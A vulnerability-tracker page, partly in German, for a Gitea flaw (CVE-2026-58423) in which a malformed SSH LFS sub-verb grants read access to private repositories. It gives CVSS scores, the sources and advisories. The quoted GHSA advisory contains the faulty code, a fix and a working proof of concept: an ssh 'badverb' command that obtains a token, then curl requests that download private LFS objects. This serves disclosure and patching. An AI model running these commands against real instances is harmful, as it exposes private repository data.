CVE-2026-58423

highPriorität · verfolgen · 0EPSS 0.004 · 33. PerzentilDEEUUS
grimoire priorityP2 · Scheduled
Exploitable?
—
no known exploitation
Likely / severe?
0.39% (33rd) EPSS
CVSS 7.7 · high
Is it mine?
5 products
Prüfe deine Angriffsfläche
Who says so?
4 sources
cnnvd · enisa_euvd · osv · cert_bund

EPSS · bewertet 2026-10-27

LFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories

01

cvss

Technischer Schweregrad, 0–10. Eine Zeile je Quelle.

7.7
010

Basiswert 0–10 · höher = schwerwiegender · Vektor überfahren zum Auflösen

v3.17.7highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:Nsecondary · ENISA EU
v3.17.7highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:NsecondaryAusnutzbarkeit 3.1 · Auswirkung 4
v3.17.7highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:Nsecondary · OSV
v3.17.1highCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N/E:Usecondary · CVSS-BT (t0sche)
02

SSVC

Eine Handlungsentscheidung — aus Ausnutzung und Auswirkung.

Exploitation: poc · Automatable: no · Technical Impact: partialcoordinatorcisa_ssvcUS
03

schwächen

Die CWE-Schwächeklassen, zu denen dies gehört.

04

betroffene Produkte (5)

Betroffene Produkte und Versionsbereiche.

05

Advisories (3)

Hersteller- und Ökosystem-Meldungen dazu.

  • WID-SEC-W-2026-2149Gitea: Mehrere SchwachstellenDeutsch2026-06-30csaf · cert_bundDE

    Ein entfernter, authentisierter Angreifer kann mehrere Schwachstellen in Gitea ausnutzen, um seine Privilegien zu erhöhen, Sicherheitsmaßnahmen zu umgehen, Daten zu manipulieren, vertrauliche Informationen offenzulegen oder einen Denial-of-Service-Zustand zu verursachen.

  • GHSA-7wvc-rvp7-w99xGitea: LFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories2026-07-21ghsa · osvUS

    ### Summary A flaw in SSH LFS sub-verb handling allows any authenticated SSH user to obtain valid LFS credentials for any repository on the instance, including private repositories they have no access to. This enables unauthorized download of all LFS objects from any private repository. ### Details In `cmd/serv.go`, the `getAccessMode` function determines the required access level for SSH operations. For LFS verbs (`git-lfs-authenticate`, `git-lfs-transfer`), it switches on the sub-verb (`upload`/`download`). If the sub-verb is neither, execution falls through to: ```go setting.PanicInDevOrTesting("unknown verb: %s %s", verb, lfsVerb) return perm.AccessModeNone ``` In production (`IsProd=true`), `PanicInDevOrTesting` only logs an error and does not panic. `AccessModeNone` (value `0`) is then passed to `ServCommand` in `routers/private/serv.go`, where the permission check block at line ~322 evaluates: ```go if repoExist && (mode > perm.AccessModeRead || repo.IsPrivate || owner.Visibility.IsPrivate() || (user != nil && user.IsRestricted) || setting.Service.RequireSignInViewStrict) { ... if userMode < mode { // userMode < 0 is always false // deny access } } ``` For private repositories, `repo.IsPrivate` triggers the permission check block, but `userMode < mode` evaluates to `userMode < 0`, which is always false — **access is granted regardless of the user's actual permissions**. The function then returns successfully, and `runServ` generates a valid LFS JWT token with `Op: "badverb"`. On the HTTP LFS side (`services/lfs/server.go:599`), the `Op` field is only validated for write operations: ```go if mode == perm_model.AccessModeWrite && claims.Op != "upload" { return nil, errors.New("invalid token claim") } ``` Download operations do not check `Op`, so the attacker's token is accepted for all LFS read operations. ### PoC Prerequisites: A Gitea instance with SSH and LFS enabled (default configuration). Two users: `admin` (owns a private repo with LFS objects) and `attacker` (a regular user with an SSH key, **no access** to the private repo). ```bash # 1. Verify attacker has NO access via normal LFS authenticate ssh git@gitea-instance "git-lfs-authenticate admin/private-repo.git download" # Output: "User: attacker is not authorized to read admin/private-repo." # 2. EXPLOIT: Use malformed sub-verb to bypass permission check ssh git@gitea-instance "git-lfs-authenticate admin/private-repo.git badverb" # Output: {"header":{"Authorization":"Bearer eyJ..."},"href":"https://gitea-instance/admin/private-repo.git/info/lfs"} # 3. Use stolen token to request LFS object download curl -X POST "https://gitea-instance/admin/private-repo.git/info/lfs/objects/batch" \ -H "Content-Type: application/vnd.git-lfs+json" \ -H "Accept: application/vnd.git-lfs+json" \ -H "Authorization: Bearer eyJ..." \ -d '{"operation":"download","objects":[{"oid":"<known-oid>","size":<size>}]}' # Returns download URL with valid authorization header # 4. Download private LFS content curl -H "Authorization: Bearer eyJ..." \ "https://gitea-instance/admin/private-repo.git/info/lfs/objects/<oid>" # Returns the private LFS object content ``` ### Impact Any user with SSH access to a Gitea instance (which includes any registered user if self-registration is enabled) can read LFS objects from **any private repository** on the instance, regardless of their actual repository permissions. This is a confidentiality breach affecting all Gitea deployments running in production mode with SSH and LFS enabled (the default configuration). ### Suggested fix Validate the LFS sub-verb before calling `getAccessMode`, or return an error instead of `AccessModeNone` for unknown verbs: ```go case git.CmdVerbLfsAuthenticate, git.CmdVerbLfsTransfer: switch lfsVerb { case git.CmdSubVerbLfsUpload: return perm.AccessModeWrite case git.CmdSubVerbLfsDownload: return perm.AccessModeRead default: return fail(ctx, "Unknown LFS verb", "Unknown LFS verb: %s", lfsVerb) } ```

  • GO-2026-6046Gitea: LFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories in code.gitea.io/gitea2026-07-22vendor · osvUS

    Gitea: LFS authentication bypass via malformed SSH sub-verb allows unauthorized read access to private repositories in code.gitea.io/gitea

06

auch bekannt als (5)

Weitere Namen und Kennungen dieser Entität.

07

quellen

Welche Quellen diesen Datensatz belegen und wann.

veröffentlicht 2026-07-03geändert 2026-10-25
08

Referenzen (12)

Externe Belege — Patches, Meldungen, Analysen.

scry

Angreifer nutzen Schwachstellen wie diese gegen im Internet exponierte Dienste aus. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan